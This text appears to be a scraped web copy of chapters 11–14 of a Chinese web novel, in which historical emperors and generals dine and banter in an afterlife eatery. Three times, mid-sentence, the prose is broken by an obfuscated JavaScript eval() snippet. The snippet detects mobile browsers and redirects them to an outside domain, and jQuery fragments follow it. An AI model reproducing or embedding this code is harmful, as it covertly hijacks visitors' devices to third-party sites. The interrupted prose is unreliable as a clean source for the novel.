“你们恐怕会想,这不过是一个代称,算不得什么。”刘邦自然知道他们心里在想什么,不待其他人说话,就又说道,“那他们为何不自称秦人唐人宋人,为何不用秦语唐语宋语?” “为何,偏偏是汉?” 短短六字,却如振聋发聩,直击心脏。连一旁的唐棠,也不禁顺着他的话想下去了。 “因为,我大汉有沛县刘季,斩白蛇而取天命,三年亡秦,四年灭楚。” “因为,我大汉有汉武盛世,战八方而震四海,开疆拓土,国威远扬。” “因为,我大汉有光武中兴,平乱世而定天下,光复正统,再续炎汉。” “还因为,即便是风雨飘摇、天命难违,即便是敌众我寡、国力悬殊,也仍有人举大义为火炬,以仁德为基石,欲要兴复我大汉伟业,重振我汉室雄风。” “君王起于微末、心系苍生,猛将勇冠三军、忠肝义胆,贤臣鞠躬尽瘁、死而后已。”回想起蜀汉的种种,苏轼也不禁感叹道,“更难得的是,君臣相得,不疑不负,确是令人向往。” “这一切的一切,便构成了我大汉的脊梁。”刘邦傲然说道,“让这所谓「汉」字,不再是一朝一代,而是世代传承,永载史册。” 原来生逢乱世、身处黑暗,亦可心怀赤子、恪守信义,这便是三国时期,蜀汉留下的,最浓墨重彩的一笔。当后人自称为汉人时,便也同样背负起某种信念,某种理想,便拥有了虽千万人吾往矣的勇气。 凛凛人如在,所以—— 汉未亡。 11.Chapter 011 萝卜排骨汤(一) 皓月高悬,夜凉如水。 嬴政缓缓穿行于狭窄幽深的小巷之中,身旁数条金龙盘旋其身。兴许是方才那场大战消耗太多灵蕴,他的步履比起平日里略显迟缓,却仍不失那份君临天下的威严。 嬴政抬头望向忘川上空,天上半点繁星也不见,只余下一轮圆月分外皎洁,他忽然发现,或许是在这里待的时间太长,他竟一时回忆不起秦时之月的模样了。 那时的月亮,有这般圆吗? 小巷两旁偶尔传来一两声夜鸟的啼鸣,反而更添了几分静谧。夜色已深,白日里喧嚣热闹的忘川街市,如今只余一片漆黑宁静,但嬴政的步履却不曾停滞,直到转角处见到食肆里的阑珊灯火,他才微微一顿,身周的金龙也逐渐隐没。 「忘川食肆」。 嬴政缓缓抬起头,目光落在那块木质牌匾上,其上镌刻的店铺名字,在昏黄灯火的映照下显得格外熟悉。 此时的食肆里已不见白日里的喧闹,他轻轻推开门走了进去,一缕清灵的月华穿透半掩的窗户,将少女的清丽脸庞照得雪白。唐棠原本半阖的眼眸,在嬴政身影映入眼帘的瞬间微微睁开,而后扬起一抹慵懒的弧度。 “始皇陛下,今夜倒是姗姗来迟。” “朕的确是来迟了。”在这暖意融融的食肆里,即便威严如始皇帝,此刻脸上的冷峻线条也难得地柔和了几分,甚至还有兴致开一点玩笑,“你以为,征服王会如赵括那般好对付?” 那此前所见,自遥远彼岸破空而来的暗红色陨星,便是征服王伊斯坎达尔。 这位师从亚里士多德的年少君主,与嬴政有着太多的相似之处,同样的雄心壮志,同样的铁血手腕。他年仅二十就登临王位,仅用时一年便统一希腊全境,而在短短的十三年里,他征服的疆域更是横跨亚非欧三大洲,不论是波斯国王、埃及法老或是印度国王,都无一幸免沦为了他的手下败将,一举建立起西起马其顿,东至西印度,南临尼罗河,北至锡尔河的庞大帝国。 只可惜天意弄人,在伊斯坎达尔最为雄心壮志的年纪,他却因病溘然早逝,马其顿帝国也随之土崩瓦解。但仅凭这短暂岁月里的功绩,后世依然将其列为西方四大军事统帅之首,史称—— 「亚历山大大帝」。 这位以征服著称的伊斯坎达尔,生前最为遗憾之事,就是他浩浩荡荡的东征不曾翻越那宛如世界尽头的喜马拉雅山脉。因此,他自位于西方的英灵殿苏醒后的首件要事,便是再度踏上征服之路,而他征服之路上的首战,便是位于遥远东方古国的忘川。 而在伊斯坎达尔化身英灵之后,那曾与征服王订下誓约的臣子,也能跨越生与死的边界随他一同出征。他麾下那数万精锐铁骑,并非虚幻的灵蕴所化,而是曾与征服王并肩作战、驰骋沙场的英灵们。这些英灵中,既有亚历山大帝国历代王朝的奠基者,也有未尝一败的军神,更有悍勇无畏的勇士,只待他振臂一挥,便会随之奔赴天涯海角。 这便是伊斯坎达尔所向披靡的最大底气,只可惜,他却碰见了那同为千古一帝的嬴政。 征服王二十岁登临王位,而那位华夏的始皇帝,十三岁便已接过秦国的王玺;征服王以十三年征服辽阔疆域,而那位始皇帝,十年间就已荡平六国,结束了长达五百余年的纷争乱世。 伊斯坎达尔所拥有的时间太过短暂,死后帝国便走向分崩离析。而那位始皇帝,却以数十年时间废分封、设郡县,以书同文、车同轨,击匈奴、征百越,修灵渠、筑长城,令江山一统、四海归一。 只是那日夜忧心天下事的嬴政,终是积劳成疾,最后只能带着对天下的无限眷恋与未竟之业的遗憾,病逝于东巡途中。而在他离世之后,秦王朝仅仅历经二世便匆匆落幕,仿若一颗流星划破夜空,璀璨却短暂。但他所铸就的大一统的理念,却如同不灭薪火代代相传,那些后世崛起的朝代,无一不把自己视为大秦之后的华夏正统。 征服王固然能在此召唤他的铁骑,但始皇帝为征服冥土,早已在前世铸造陶俑万千,那陶俑每一具都形貌各异,却是依据当时秦军将士所描摹打造,即便身处忘川,嬴政也能如身使臂,如臂使指。那生前未能翻越横亘天地之间的崇山峻岭的马其顿铁骑,死后也只能带着无尽的遗憾,败北在嬴政那坚如磐石的巍峨长城之下。 “天下纷扰,何得安宁。秦有锐士,谁与争锋?” 恐怕那一败涂地被迫遁走的伊斯坎达尔,此刻脑海里还回荡着秦军凯旋的战歌吧。 “那倒也是。”唐棠也点头应和,她早已通过昆仑镜的残片窥见了那遥远战场上的风云变幻,自然对那刚刚落幕的一战了如指掌,她摇摇头叹道,语气不知是无奈还是无语,“这番邦异族,当真是一天也消停不下来,这都是多少回了?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964932|161023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 正如唐棠此前与刘邦所讲的那样,对这忘川虎视眈眈的异域英灵,那可真是四面八方无孔不入。若是有幸碰上那好日子,甚至能见到纷乱如麻的流星雨划破天际。而那一颗颗坠落的陨星,赫然便是降临此地的域外之敌。 只是当下这忘川之地,既有秦皇汉武、唐宗宋祖,又有猛将如云、谋士如雨。那些自异域踏足此地的英灵,最终无一例外只能铩羽而归,却是未曾在这里讨到半分便宜。 “如今天下东升西落,暗流涌动。”作为曾主宰天下的千古一帝,嬴政冷笑一声,还带着一丝丝的傲慢,“那些异族会起心思,当然是难免的事情。只是,不论他们做什么,都只不过是螳臂挡车,自不量力罢了。” 原本的忘川不过是途径地府的一程,在那场末法之战中早已随天庭地府化为乌有。如今的忘川,却是唐棠以昆仑镜积蓄灵蕴重建而成。 她以昆仑镜保存最为完好的残镜为基,循着华夏遗存龙脉的走势,汲取浩浩汤汤的五千年风华,才造就了这片忘川福地。自此泱泱华夏轮回再启、龙脉绵延,文运鼎盛、武运昌隆,终是重新踏上那漫漫复兴之路。 忘川兴盛,则华夏物华天宝,人杰地灵;忘川衰败,则华夏乱世纷争,兵连祸结。如今天下正处于百年未有之变局,西强东弱的天平也在逐渐向东失衡,异域英灵会将此地视为眼中钉、肉中刺,倒也在情理之中。 “重建忘川,这是王母娘娘最后交待给我的事情。”唐棠清丽面庞上的笑容不减,嬴政却能从那双明眸深处,读出一丝如淡烟轻雾般的哀伤,“我自会将这事办好。” 那位身居昆仑之巅的西王母,曾以本命元神催动昆仑镜,沟通三界,卜算来世,洞察天机。 在得知漫天神佛即将遭遇前所未有的大劫,而自己也难以逃脱形神俱灭的命运时,她却并未选择消极避世或是苟延残喘,而是以毅然决然的姿态,舍弃了自己那可能的一线生机,选择将那渺茫的希望之光,留予她自古庇佑的华夏子民。 忘川,便是她向这命中注定的棋局落下的最后一子。 时至今日,唐棠的存在已不能简简单单用一句昆仑镜的镜灵便能概括。她仿佛已融入了这片忘川福地的每一寸土,每一缕风,每一滴水,与此方世界同呼吸、共命运。若是有朝一日,忘川再次面临覆灭之灾,那么,她也将随之烟消云散,神魂不存于世。 12.Chapter 012 萝卜排骨汤(二) 作为从这忘川最初苏醒的英魂,嬴政自然知道这些年来的艰辛,华夏自危难中崛起,而忘川又何尝不是在夹缝中延续。 但他担心会勾起少女的伤心事,也就不愿继续深入探讨这个话题,转而话锋一转,问道,“此前你让朕过来,所为何事?” “这个嘛……”唐棠略微迟疑,一时不知该从何说起,眼角余光却不经意间瞥到嬴政脸上的疲惫之色,她心中微动,轻声说道:“事情其实也不急于一时,始皇陛下不妨先坐下休息片刻,这后厨里正炖着筒骨汤呢,我给你盛一碗来。” “有热汤?”嬴政的眉宇间不见了白日里的凌厉与戾气,暖黄光照下甚至显得有几分柔和。前世他醉心政事,对于口腹之欲向来不以为意,但自从来到这忘川福地,他的胃口却不知不觉中被唐棠养刁了,如今听闻这夜里有筒骨汤,心中竟隐隐生出一丝期待,他轻轻一笑,说道,“那便劳烦姑娘了。” 在这初春时节,夜里寒风盈窗,草木待发,仍是一派清冷寂寥的情景。若是能吃上一碗热乎乎的筒骨汤,暖心暖胃,仿佛便会有余力度过这料峭春寒,行至下一个天光。 所谓「筒骨」,在世人眼中,或许不及那肉感满满的肋排或是龙骨来得诱人,也难以登大雅之堂。但若是论及炖汤之道,排骨会因肉多而显柴,龙骨则因少筋而失香,唯有筒骨筋肉交织,骨髓丰厚,炖煮之间油水丰沛,尽显醇厚滋补。 大概是自知地位不高的缘故,筒骨在搭档的选择上显得分外宽容,无论是何种能够炖汤的配料,与这筒骨相配总是相得益彰。春日里的鲜嫩笋尖,夏日里的清甜莲藕,秋冬时节的冬瓜山药,又或者是四季皆宜的海带菌菇等等,这些食材与筒骨一同炖煮,总能熬出来最为清醇鲜香的味道来。 而唐棠今日所挑选的,则是其貌不扬的萝卜。这被称作土人参的白萝卜既可切开生吃,也可入汤炖煮,既能驱寒暖胃,也可滋补身体,那本味的清甜与骨汤的鲜美相融合,也是再合适不过的。 炖汤向来是不太考验厨艺的,只需要将厚实的筒骨和洁白的萝卜分两次放入锅内,再加上姜片和葱结,两次大火烧开,再转为小火慢煨。在这样的火候下,筒骨肉逐渐软烂脱骨,骨髓也慢慢融入汤中,而萝卜则在汤中熟透,吸饱了汤汁的精华,一锅暖意融融的汤就算是大功告成。 只是若少了一颗静心,在某一步上急于求成的话,那份汤就总会差一点火候。 “始皇陛下,快来尝尝这汤吧,正热乎着呢。” 唐棠笑盈盈地端出汤,同时不忘热情地推销着她的佳作。 此时摆在嬴政面前的萝卜筒骨汤,汤色浓白,热气升腾,缭绕的烟雾带着温暖质朴的香气扑鼻而来。汤面上漂浮的少许油星,在光照下显出诱人的光泽,而那浸泡在汤中的萝卜,嫩白如凝脂,光是看着便觉细腻甘甜。 他忍不住先夹起一块萝卜尝尝鲜,那萝卜被切成一指半厚的小块,皮和筋都被精心剔除,在锅中充分吸收了汤汁后,变得柔软细腻,滋味醇厚。一口咬下,几乎无需用力,里边蕴含的汤汁便喷涌而出,满口的清香与软嫩。 秦时吃则馍面,喝则豆谷,与后世相比则显得寡盐少味,即便贵如始皇,宫中庖厨虽多,却也是到忘川才有此等口福。 嬴政轻轻拿起汤匙,舀起一勺汤汁,吹去热气再细细品味。汤汁香浓可口,带着几分清甜,微烫的汤汁从口腔滑过喉管,带来一股暖流,热量在五脏六腑间散发开来,让他感到浑身舒适,瞬间抚慰了他刚刚大战后的疲惫。 “果然还是这般美味。”嬴政感叹道,他擦了擦额头沁出来的薄汗,一口一口将这碗汤喝了下去,满足的神情溢于言表。 “陛下喜欢就好。”唐棠在一旁静静地站着,待他喝完,才轻声开口。 “今夜邀陛下前来,实有要事相商。”唐棠缓缓说道,语气严肃而认真,“陛下想必也清楚,如今忘川虽代地府之能,重启轮回之序,但比起往日的地府,却少了不少规制。” “这我自然知晓,从前那阴曹地府,上有十殿阎罗,下辖城隍土地、府县境主、阴阳诸司,更有牛头马面、黑白无常、夜叉鬼卒等诸部鬼吏听命行事。”嬴政初至忘川时,便对此事抱有浓厚兴趣,此刻听唐棠提及,如数家珍,娓娓道来,竟无一丝遗漏,这倒是让唐棠省却不少解释的工夫,“如今这忘川虽代行轮回之道,却是简略许多。” 在那场末法之战中,地府与天庭俱灭,十殿阎罗连同酆都诸部也一同陨落,当下的忘川,却已难觅昔日地府的半点风貌。 “确是如此。”唐棠点点头,沉声继续道,“若是大奸大恶之徒,魂灵如同被浓墨浸染,漆黑如夜,一望便知。而那些大善大德之人,魂灵则被功德金光笼罩,熠熠生辉,这也倒好分辨。” 她顿了一顿,接着说道,“为善者积德累功,来世便能得以重生人道,享尽世间繁华美好。而作恶者堕入地狱,受尽千刀万剐,直至万死万生,等到业障尽消才能有机会轮回转世。这便是世人所说的因果循环,善恶之报。” 这固然是最为理想的情形,但这世上又有多少人能称得上大奸大恶,大善大德,更多的无非是行过几件小善,也做过些许错事的凡人罢了。 “只不过,世间大部分魂灵,总是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975789|161023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 混沌不清、善恶难辨。”说到这里,唐棠的眉头紧皱起来,苦笑着摇了摇头,“这却是光凭昆仑镜解决不了的事情了。” 因此,如今世人轮回除非大善大恶,其余只能顺其自然,但这般做法终究不是长久之计。若是行善难得善报,作恶难得恶果,世间终有一日会正气难彰,百弊丛生。 “若天地清浊难分,总有一天,这忘川也会天塌地陷吧。”嬴政目光深邃,仿佛能穿透层层障壁,直视那遥远的九幽与人间,“但既然说到这里,唐姑娘想必是想出了法子。” “不瞒始皇陛下,我有个不情之请。”唐棠也没有再绕弯子,直接说道,“从前十殿阎罗手执生死簿,明辨生者姓名寿命,审判死者善恶罪行,由此确保严明公正。” “因此,我想重建阎罗十殿,请始皇陛下专司人间生死,惩善罚恶,给这世间一个公道。” 若是单凭唐棠一人之力,即便有昆仑镜在手,单枪匹马也是难以成事,说不定忘川早已毁于异域英灵之手。然而,她并非孤军奋战。 那些自历史长河中应运而生的忘川英魂,或曾是一代帝王,或曾是盖世英雄,又或是名垂青史的文人墨客,正是她最大的倚靠。 “朕不过一人,如何能掌管十殿?”嬴政闻言,眉头轻轻一挑,并未立即回答。 “陛下确是仅有一人,但忘川却有英魂万千,皆可助陛下行事。”唐棠早已想好了对策,对答如流。 若说这忘川福地孰能服众,却是极难挑出比这开辟大一统的始皇帝更为合适的人选。 “既然你心中自有定数,何不自己出面?”嬴政嘴角不经意间弯起了一点弧度,故意这般问道。 “这个嘛……”唐棠犹豫了一下,还是开口说道,“我不适合在明处。” 见唐棠的难言表情,嬴政心里闪过一丝明悟。她的身份并不适合在这忘川大张旗鼓地宣扬,毕竟她身为忘川枢心,若是稍出差池,这忘川倒不知会掀起怎样的风波。 怪不得,她会在这忘川开一间食肆,这或许也有遮掩身份的考虑吧。 “既是如此。”嬴政敛眸,眼色极浅的眼眸幽幽—转看向唐棠,微微颔首,“朕便应允你了。” 唐棠闻言却是喜不自胜,她深深地鞠了一躬,“感谢陛下!” “倒也不必谢我。”嬴政淡淡说道,“不过是为了朕这天下罢了。” 昔年,他扫六合,荡八荒,令四方臣服,天地开阔。 今日,即便身在忘川,他亦可掌轮回,定生死,令善恶昭然,四海升平。 那是他千秋万古的伟业,他又怎会令他人染指。 13.Chapter 013 龙凤烩(一) 忘川食肆并没有固定的菜单,每日推荐的菜品大多凭唐棠的心情随性而定,脑海里装着后世万千食谱的她,即便每次变着花样也绝不会重复。 当然,唐棠倒也不是不通情理之人,若是有上门的客人点名要吃什么菜,她也会尽力去满足。就比如上次东坡居士想吃那西湖醋鱼,她还特地将那草鱼在西湖里饿养了两日。 再比如今天的后厨里,唐棠也正按着客人提供的食谱,悉心烹制着料理。她极为专注,守着灶台上的一锅汤,小火煨着,听着锅里不时传来噗噜噗噜的轻响,她忽然想起当年替王母娘娘炼丹时,似乎场景与这般无二。 此时烹饪过程已近尾声,炊烟袅袅,雾气弥漫,但唐棠瞅着这锅里浮沉的鸡肉,却总觉得有哪里不对劲。她拿起汤勺尝了一口咸淡,汤鲜味美,那看来不是这食谱的问题。 ——又或许,是拿这食谱来的人不太对劲?唐棠回想起刘邦拿来食谱时那神神秘秘的样子,还有那脸上很是微妙的表情,总觉得哪里有蹊跷。 想了半天没想出个所以然来,她摇了摇头,决定放弃谋杀自己的脑细胞,转而专心致志为这道料理收起尾来。 而此时的食肆里,却正上演着一场令风云变色的棋局大战。 “我说项王,你若是执意孤军深入,可要当心重蹈覆辙啊!”刘邦不知何时手中多了把羽扇,装模做样地轻轻摇晃,在那故作高深地说着,“敢进我这十面埋伏,难道你就不怕你的车白送了?” “呵,想吃我的车。”与其对弈的男子身形如山岳般魁梧,面容刚毅而深邃,浓眉下的眼睛炯炯有神,而那结实的宽肩厚背更是垒砌着野兽般虬结鼓胀的肌肉,不正是那力能扛鼎的西楚霸王项羽又是谁,他冷笑一声,说道,“你倒不妨先掂量掂量,你会付出什么样的代价。” “嘿!我就吃了怎么着!”刘邦不服气地一挥手,便将项羽的一枚棋子收入囊中。然而,就在他得意洋洋之际,却发现自己的阵脚已乱。那竟是对方早已设下的诱敌之计,一时间,楚军长驱直入,汉军溃不成军,狼狈而逃。 “怎么?现在你说不出话来了?”项羽看着面前急得满脸通红的刘邦,嘴角勾起一抹嘲讽的笑意,“想不到这么年过去了,你这领兵的才能还是如此不堪入目。当年若非有韩信相助,这天下,岂能轮到你来坐?” 这象棋之道,与排兵布阵有异曲同工之妙。两人虽然才刚刚摸索出些许门道,但棋艺高下却已是一目了然。若论棋力,三个刘邦加在一起也绝非项羽之敌,然而若论起耍嘴皮子的功夫,项羽却只能甘拜下风。 “哎呀,项王说得极是。”刘邦连连点头,对项羽刚刚说的话表示赞同,只是说出来的话却足以把人气得七窍生烟,“我不仅领兵打仗不如韩信,运筹帷幄也不及张良,安邦治国更是比不上萧何。但就很奇怪,当年我怎么就赢了呢?真是令人百思不得其解啊。” “你就只会逞一时口舌之快。”经历过生死劫难来到忘川的项羽,早已不再轻易动怒,任凭刘邦如何挑衅,他也只稳稳落下一子,“将军。” “这……这……”刘邦顿时慌了神,他忙以羽扇遮脸,偷偷向旁边的诸葛亮求救,“哎,我大汉丞相,你快来帮我看看,这一步我该如何是好?” “高祖陛下。”诸葛亮倒是知道该如何下,虽然被这大汉开国皇帝戴了一顶高帽子,但他还是恪守原则地摇摇头,“观棋不语真君子。” 而此刻刚踏入食肆的太平公主却是看得目瞪口呆,她揉了揉自己的眼睛,望向身旁的上官婉儿,“婉儿,你快帮我看看,我是不是还没睡醒?我怎么看到……高祖陛下在和项王下棋?” “如果殿下在做梦的话,那我大概也在梦里吧。”上官婉儿一时也是没反应过来。 “若非亲眼所见,我也是难以置信。”苏轼在一旁轻声感叹,他早已在此观看了许久,此刻见到太平公主与上官婉儿到来,便微微颔首致意,“太平公主,婉儿姑娘,别来无恙。” “这是怎么一回事?”见有熟人在此,太平公主立马凑了过去,“这两位见面,竟然能如此心平气和地在这里下象棋?” 上官婉儿见那边唇枪舌剑的样子,怎么也看不出这一团和气是从哪里来的,但想到当年项羽被刘邦困于垓下,在四面楚歌声中乌江自刎,便觉得这两位在忘川不曾打起来,便确实算得上是心平气和了。 “刚刚我与佛印在此对弈,却不巧被高祖陛下与项王瞧见了。”苏轼笑着解释道,“听说这象棋是比拟他们二人当年楚汉相争所作,便说要在这棋盘上再分出个胜负。” 楚汉称霸时期,项羽与刘邦势均力敌,最终达成和议,以鸿沟为界中分天下。鸿沟以西归汉,以东归楚,两军各自安守疆界,各不相扰,正应了这棋盘上的楚河汉界。 “原来如此。”太平公主闻言,忍不住扑哧一声笑了出来,“想不到高祖陛下与项王到了忘川,竟还惦记着当年的楚汉之争呢。” “不过,依我之见,这棋盘上的胜负,总比战场上的战火纷飞要好得多。”上官婉儿目光柔和地望向棋局,“昔日刀兵相见,今日却能在这方寸之间以棋会友,也未尝不是一种超脱。” “以棋会友?”项羽闻言,眉头微挑,声音带着几分不羁,“婉儿姑娘所言差矣,我项羽可不愿与这等苟且偷生之辈相提并论。” “为了苟活,竟连自己的亲生骨肉都能狠心舍弃。”他望向刘邦,目光中带着些许不屑,“我江东男儿,可没有这般鼠辈。” 项羽所言非虚,想当年,刘邦在彭城之战中一败涂地,数十万大军顷刻间土崩瓦解,在生死攸关的逃亡路上,为了自身安危,刘邦竟忍心将自己的亲生儿女从马车上赶了下去。 俗话说得好,打人不打脸,骂人不揭短。但项羽这一句句夹枪带棒的,却全是朝着刘邦的软肋去的,若换了旁人,此刻恐怕已经怒不可遏,拍案而起。 然而,刘邦却非寻常人。 “项氏世代为楚将,项王出身显赫,自然无法体会贫寒人家的难处。”面对项羽的讥讽,刘邦神色如常,仿佛在诉说一件与自己无关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984882|161023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事,“在那等饥荒连年的年月里,人们为了活命,草根树皮都被掘尽,易子相食也不过是常有的悲剧罢了。” 刘邦言下之意,便是比起那易子相食的惨剧,他的所作所为也不过如此罢了。 “我四十岁时,已至不惑之年,家中依旧一贫如洗,自己也是一事无成。当初投身起义军,不过是为了苟延残喘,寻一条活路罢了。谁又能料到,自此之后,我竟能扶摇直上,终至登天之势。”刘邦淡淡说道,语气中透着一丝难以言明的感慨。 “若当年身处乌江之畔的是我,哪怕江水再汹涌,我也会拼尽全力游过去。”刘邦深有感触地说着,“因为对我而言,只要尚有一口气在,便不会比往日里的境地更差,便总能寻觅到一线生机。” 人生若是跌入过尘埃般的低谷,那自此往后的每一步,便都是向着更高处迈进。 “世间皆称项王是顶天立地的英雄,而视我为懦夫。”刘邦自嘲地笑了笑,“可是,项王你能胜我千百次,但只要我赢得最后一次,那么笑到最后的,依旧是我这个所谓的懦夫。” 虽然他自称懦夫,但是这漫卷史书之中,又有谁能忽视他那浓墨重彩的一笔呢? “你以为,我便是那不知变通之人?”项羽瞥了他一眼,说道,“我何尝不知过了乌江,只需我在江东振臂一呼,又可凭江东儿郎卷土重来。” “只是,我自咸阳一路走来,目睹赤地千里,百姓流离失所,这天下因战乱已是十室九空。倘若你我再无休止地争斗下去,恐怕那胡人便要趁虚而入,入主中原了,那时还不知这黎民又有几多劫难,而我江东子弟,又不知会有多少人再难归乡。”项羽目光深远,似是回忆过去,“既然如此,这天下是姓项或是姓刘,又有什么关系呢。” 听完项羽所说,食肆中人皆心有戚戚地点头,虽说楚汉相争已是天下凋敝,但若说这华夏历史上最为黑暗的时期,那还是西晋时期的五胡乱华,关中原有百姓两千余万,经此劫难竟只余四百万之数,岂不是正应验了项羽刚刚所说的话。 只是他这番话虽然说得在情在理,刘邦却是有点不开心,他嘟囔道,“嘿,你这话说得,怎么听着像是你把这天下让给我似的?我告诉你,我可是实打实赢的。” 虽然赢得艰辛,赢得曲折,赢得满身泥泞,但总归是他赢了。 “自然是你赢了。”项羽早已看淡过往,并不否认这一点,他长叹了一声,说道,“只可惜,当年在鸿门宴上,我不曾听亚父的劝告。若那时便取了你性命,又哪会有楚河汉界之争。” 当初鸿门宴之前,范增便告知过他,那刘季入关咸阳后,秋毫无犯,收拢人心,志不在小,已有天子气象,必须趁早铲除。只是他当时犹豫了一下,这机会便稍纵即逝了。 “不过,这今天的棋局,却是我赢了。” 说罢,项羽目光转向棋盘,眼见汉军已成死局,他举起棋子,正欲一举斩落汉军帅旗,唐棠却携着鲜香从后厨走了出来。 “高祖陛下,您刚刚点的料理好了。” 14.Chapter 014 龙凤烩(二) “这么快就好啦?”刘邦突然腾地一下从座位上窜起,却是一下把棋盘撞翻,棋子哗啦啦洒落一地。 项羽手上的棋子还悬在半空,却是一下子愣住了,纵使他的脾气已经比以往好了许多,但面对刘邦这种无赖举动,还是忍不住有些微怒意,“刘季!你这家伙!” “哎呀哎呀,都怪我不小心。”刘邦却丝毫不以为意,他哈哈一笑,拍了拍手,“没办法,都怪唐掌柜端来的料理太香,我一时情绪激动。项王莫怪,既然这样,那我们就算平局好了。” “哈?”唐棠眨巴眨巴眼睛,一脸莫名其妙,她干什么了?怎么感觉背上莫名其妙重了好多,好像背了个什么黑锅? 项羽闻言,不禁瞪大了眼睛,“平局?你这算是哪门子的平局?” 他刚才明明马上就赢了! 刘邦却一本正经地点点头,“你看这棋子都乱了,也分不清谁输谁赢。不如就此作罢,我们下次再战如何?” 项羽被刘邦那番无赖逻辑气得直瞪眼,不肯再接他的话茬,然而刘邦却似毫无眼色,依旧厚着脸皮往他身旁凑近,满脸堆笑道:“项王,你且看看,这可是我今日特意为你点的佳肴,可要务必赏脸品尝一番。” “哦?今日竟是高祖陛下宴请项王?”太平公主闻言,却是把心里话不小心说了出来。 “他当年有胆赴我鸿门宴,今日这小小食肆,我项某难道便不敢来了?”项羽冷哼一声,眉宇间满是不屑。他目光不经意扫过唐棠手上的佳肴,却见这汤汁清澄,汁味香浓,倒是让他有了几分兴趣,开口问道,“不过这菜看着倒是不错,不知唤作什么名字?” “若依高祖陛下刚刚拿来的食谱所言,应当是叫作「龙凤烩」。” 唐棠应答道,但她话音一落,四周顿时响起一片惊呼之声。 太平公主有点怀疑自己的耳朵,追问道:“你方才说,这菜叫什么?” “此名……确实是大不敬之极。”上官婉儿也蹙眉轻叹。 唐棠久居世外,对人间礼数已颇为生疏,此刻闻言不禁有些茫然:“这名字……有何不妥之处吗?” 苏轼自然知道唐棠为何而困惑,他笑着说道:“掌柜的有所不知,自古以来帝王皆以真龙天子自居,而皇后则被认为是天凤之命。你这道菜名若是放在往昔,只怕单凭龙凤烩这三字,便免不了跟东坡一样,放逐三千里去那荒凉之地了。” 这等大逆不道的菜名,若是碰见性情暴躁的帝王,即便是流放边疆也算是轻判了,指不定连项上人头都保不住。 就比如当年清代翰林徐骏,一日静坐窗前读书,忽然一阵清风悄然而至,轻轻翻动桌上书页,他心生感慨,便写下“清风不识字,何故乱翻书”,却被雍正认为是在借诗嘲讽满清贵族不识诗书,暗示他们不适合统治,以至于招致杀身之祸。 “我看还是后世更为自在,少了那些乱七八糟的礼节束缚,不必再这儿避讳、那儿顾忌。”身为真龙天子的刘邦,却向来对这些繁文缛节不以为然,“诸位且看这道菜,龙与龟同族,凤与稚同宗,便因此得名,这其中又有何可忌讳之处呢?” 所谓「龙凤烩」,是以甲鱼与家鸡炖制而成,汤汁清醇,味道鲜美,最是滋补。刘邦此刻虽貌似义正词严,但项羽瞅着他那表情,总觉得这老小子心里憋着坏水呢。 果不其然,刘邦话锋一转,又接着说道,“诸位可知,这道佳肴还有另一雅称?” “哦?是什么名字?”太平公主好奇心被勾起,兴致勃勃地追问。唐棠在旁暗自思忖,觉得以她这捧场的功力,倘若不去说相声,倒是捧哏的一大损失。 “我在后世书中偶然见到,说这道菜因以鳖与鸡为主料,故被称作……”刘邦说到此处,竟自己先大笑了起来,“哈哈哈,「霸王鳖鸡」,说这鳖就代表了楚霸王,真是笑煞我也!” 众人见刘邦笑得上气不接下气,而项羽在旁边面色铁青一言不发,此情此景,倒是比刘邦方才讲的霸王鳖鸡的冷笑话更好笑三分。但是大家面面相觑,出于对楚霸王的敬意,太平公主的脸都快憋红了,硬是忍住了没笑出声来。 “所以。”项羽终于缓缓开口,语气中透着一丝不耐,“你特意邀我前来,便是为了让我观赏这霸王鳖鸡?” 他说到最后四个字的时候,已经近乎咬牙切齿。 “那倒也不尽然。”刘邦此时方才笑罢,却是一脸纳闷,“不过话说回来,诸位都不觉得这笑话有趣吗?为何都不笑一笑呢?” “无聊至极。”项羽终于忍无可忍,翻了个白眼,冷冷道,“我竟会败于你这等无赖泼皮之手,真是天意弄人……” 唐棠也是叹为观止,这一大早的,刘邦就神秘兮兮地跑过来,塞给自己一张食谱,还特意把楚霸王项羽叫过来,竟然只是为了讲一个关于“霸王鳖鸡”的冷笑话。这种匪夷所思的行事风格,确实只有刘邦才能干得出来。 但说笑归说笑,这道龙凤烩确是徐州地界的一道传统名菜,再经由唐棠这位忘川大厨的巧手烹调,更是将食材的鲜美发挥到了淋漓尽致的地步。 “这鲜得简直没法说!”苏轼这位忘川老饕,刚抿了一口汤,便连连点头称赞。众人也纷纷取碗盛汤,细品其味。 "这鳖……”太平公主刚想开口夸上两句,就想到先前霸王鳖鸡的故事,最后还是换了个说法,“这甲鱼软糯可口,甚是美味。” 